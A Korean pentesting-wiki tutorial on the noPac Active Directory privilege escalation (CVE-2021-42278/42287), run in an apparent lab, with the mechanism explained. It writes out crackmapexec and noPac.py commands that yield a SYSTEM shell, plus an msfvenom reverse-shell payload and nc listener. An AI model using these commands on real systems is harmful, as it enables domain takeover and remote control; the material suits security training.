펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory

noPac

PreviousDnsAdminsNextSilver Tickets

Last updated 1 month ago

Was this helpful?

CVE-2021-42287은 Microsoft의 Active Directory 환경에서 발견된 취약점으로 PAC 정보 없이도 낮은 권한의 사용자가 관리자 권한을 탈취할 수 있는 취약점입니다. 이 취약점을 사용하기 위해서는 CVE-2021-42278이 먼저 선행되어야 합니다. 즉 Microsoft에서 권장하는 패치를 진행하지 않아 CVE-2021-42278, CVE-2021-42287에 취약한 AD 서버라면 공격이 가능합니다. 정리해서 이 공격에 필요한 몇가지 조건은 다음과 같습니다.

  1. CVE-2021-42278에 취약한 AD 환경

  2. CVE-2021-42287에 취약한 AD 환경

  3. MAQ가 1 이상 설정된 환경

MAQ, S4U2self 등의 부가적인 개념들은 소제목 파트에서 알아보고 이 파트에서는 전체적인 공격 시나리오에 대해서 다룹니다.

sAMAccountName: DnsUpdateProxy              
sAMAccountName: CWIN01$        
sAMAccountName: CA01$     
sAMAccountName: ITSupport            
sAMAccountName: wiki     
sAMAccountName: pentesting    

Active Directory 환경에서 머신 계정, 즉 컴퓨터 계정은 전부 이름 뒤에 $ 기호가 붙습니다. 다시 말해 $ 기호가 존재하지 않는 계정은 일반 계정입니다. MAQ가 1 이상 설정되어 있을 때 사용자는 머신 계정을 생성할 수 있는데이때 Domain Controller의 이름에서 $ 기호만 제거한 채로 동일하게 생성합니다. 예를 들어 DC의 이름이 DC01$라고 한다면 DC01라는 이름의 머신 계정을 생성합니다. 그 다음 DC01 머신 계정을 이용하여 S4U2self를 이용하여 DC로부터 TGT를 발급 받습니다. TGT를 발급받은 이후에는 DC01 머신 계정의 이름을 변경합니다. 이때 변경하는 이름 자체는 중요하지 않지만 변경한다는 것 자체가 중요합니다.

마지막 단계로 이름을 변경 후 DC에 ST 발급 요청을 했을 때 DC는 ST 나와있는 DC01이라는 계정을 더이상 도메인으로부터 찾을 수 없습니다. 우리가 이전 단계에서 DC01이라는 이름을 TGT 발급 이후 변경했기 때문입니다. 이때 S4Uself 매커니즘에서 특이한 현상이 있는데, 도메인으로부터 사용자 이름을 찾을 수 없으면 이름 뒤에 $ 기호를 추가해봅니다. $ 기호를 추가해서 도메인에 질의했을 때, 만약 이번에는 계정이 존재한다면 정상적으로 ST을 발급해줍니다.

현재 시나리오에서 이 이름은 DC01$가 되며 이것은 곧 Domain Controller의 계정명입니다. 즉 ST을 요청할 때 도메인 컨트롤러의 권한으로 요청을 할 수 있기 때문에 컨트롤러 권한을 가진 ST을 발급 요청할 수가 있습니다. 정리하여 이 취약점이 성공했을 시 사용자는 아무런 권한이 없는 일반 사용자 계정에서 관리자 권한을 부여받을 수 있습니다.

MAQ는 위사진에서 볼 수 있듯이 MachineAccountQuota의 약어입니다. Active Directory 환경에서 MAQ는 기본적으로 사용자에게 10이라는 숫자로 부여됩니다. 원래 의미하는 바는 사용자가 해당 도메인 내에생성할 수 있는 머신 계정의 최대 수를 10개로 제한한다는 것이지만, 반대로 말하자면 사용자는 10개 이하의 머신 계정 생성이 가능하다는 것입니다. 이는 일반적인 사용자도 관리자의 도움 없이 도메인에 컴퓨터를 추가할 수 있게 해줍니다.

S4Uself는 Service for User to self의 약어로 MS의 Kerberos 프로토콜에서 제공하는 특별한 티켓 요청 매커니즘입니다. 원래라면 TGT, ST 같은 티켓을 요청할 때 DC에 사용자가 직접적인 요청을 하고 인증 서버로부터 직접 발급을 받는 매커니즘이지만 이것은 서비스 계정이 사용자의 자격증명을 대리로 사용하여 서비스 계정으로 티켓을 발급받을 수 있습니다.

이것이 필요한 이유는 서비스가 사용자를 대신해 서비스 등을 자동화 하기 위함입니다.

Practice

먼저 noPac 취약점에 취약한지 테스트를 해보기 위해서 cme에서 제공하는 noPac 모듈을 사용할 수 있습니다.

┌──(root㉿kali)-[~]                                                                                                  
└─# crackmapexec smb 10.0.2.10 -u wiki -p password123@ -d offsec.local -M noPac     
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)                                                                  
SMB         10.0.2.10       445    DC01             [+] offsec.local\wiki:password123@ (Pwn3d!)
NOPAC       10.0.2.10       445    DC01             TGT with PAC size 1430                            
NOPAC       10.0.2.10       445    DC01             TGT without PAC size 697                                         
NOPAC       10.0.2.10       445    DC01                                                                              
NOPAC       10.0.2.10       445    DC01             VULNEABLE                                                        
NOPAC       10.0.2.10       445    DC01             Next step: https://github.com/Ridter/noPac  

페이로드를 삽입했을 때 noPac에 취약하다는 결과를 확인할 수 있습니다. 깃허브로부터 noPac 파이썬 스크립트를 다운로드 하여 가져옵니다.

noPac을 사용할 때 역시 Domain Controller와의 시차가 5분 이상 존재하면 안 되기 때문에 로컬에서 시차를 컨트롤러와 동기화 시켜줍니다.

timedatectl set-ntp off    
ntpdate DC-IP

파이썬3을 이용하여 noPac 스크립트를 사용해주는데, 간혹 오류가 발생하면 ldap 프로토콜을 이용하여 공격을 수행합니다. 플래그는 -use-ldap이며 쉘을 획득할 때는 -shell 플래그를 사용해줍니다.

┌──(root㉿kali)-[~/Pentest/noPac]
└─# python3 noPac.py offsec.local/wiki:'password123@' -dc-ip 10.0.2.10 -use-ldap -shell

███    ██  ██████  ██████   █████   ██████ 
████   ██ ██    ██ ██   ██ ██   ██ ██      
██ ██  ██ ██    ██ ██████  ███████ ██      
██  ██ ██ ██    ██ ██      ██   ██ ██      
██   ████  ██████  ██      ██   ██  ██████ 
    
[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target dc01.offsec.local
[*] Total Domain Admins 3
[*] will try to impersonate wiki
[*] Adding Computer Account "WIN-ODEFYSY2A7V$"
[*] MachineAccount "WIN-ODEFYSY2A7V$" password = $wrKcHuHE9U^
[*] Successfully added machine account WIN-ODEFYSY2A7V$ with password $wrKcHuHE9U^.
[*] WIN-ODEFYSY2A7V$ object = CN=WIN-ODEFYSY2A7V,CN=Computers,DC=offsec,DC=local
[*] WIN-ODEFYSY2A7V$ sAMAccountName == dc01
[*] Saving a DC's ticket in dc01.ccache
[*] Reseting the machine account to WIN-ODEFYSY2A7V$
[*] Restored WIN-ODEFYSY2A7V$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating wiki
[*]     Requesting S4U2self
[*] Saving a user's ticket in wiki.ccache
[*] Rename ccache to wiki_dc01.offsec.local.ccache
[*] Attempting to del a computer with the name: WIN-ODEFYSY2A7V$
[*] Delete computer WIN-ODEFYSY2A7V$ successfully!
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

실행이 완료된 이후에는 시스템 쉘을 획득한 것이 확인됩니다. 다만 noPac으로 연결된 쉘은 SMB 쉘로 매우 불안정하며 제한적인 쉘입니다. 따라서 쉘을 조금 더 안정적으로 업그레이드 하기 위해서 미터프리터 혹은 msfvenom을 통한 쉘로 재연결을 할 수 있습니다. 먼저 msfvenom으로 리버스 쉘 실행파일을 생성합니다.

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.36 LPORT=4444 -f exe > rev.exe

실행파일이 제작되면 파이썬 로컬 서버를 생성하고 Windows 쉘에서는 해당 파일을 가져옵니다. 리버스쉘 실행파일 생성 시 지정했던 포트를 ncat을 통해 열어준 후 서버에서는 이 실행파일을 실행합니다.

C:\\Windows\\system32\\rev.exe
┌──(root㉿kali)-[~]
└─# nc -lvnp 4444        
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.10] 60330
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>cd ..
cd ..

C:\Windows>

이제 리버스쉘을 통해 연결된 쉘은 비교적 자유롭고 안정적인 연결이 유지됩니다.

References

GitHub - Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain userGitHub
취약점을 통해 살펴보는 액티브 디렉토리 보안 강화 방안Security & Intelligence 이글루코퍼레이션
Logo
KB5008380—인증 업데이트(CVE-2021-42287) - Microsoft 지원
CVE-2021-42278과 42287 - 파트 2Noob to !Noob
Logo
[MS-SFU]: S4U2selfMicrosoftLearn
Logo
CVE-2021-42278과 42287 - 파트 1Noob to !Noob
Logo
MachineAccountQuota is USEFUL Sometimes: Exploiting One of Active Directory's Oddest SettingsNetSPI
GitHub - Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain userGitHub
Logo
Logo
[MS-SFU]: Protocol OverviewMicrosoftLearn
Logo
Logo
Logo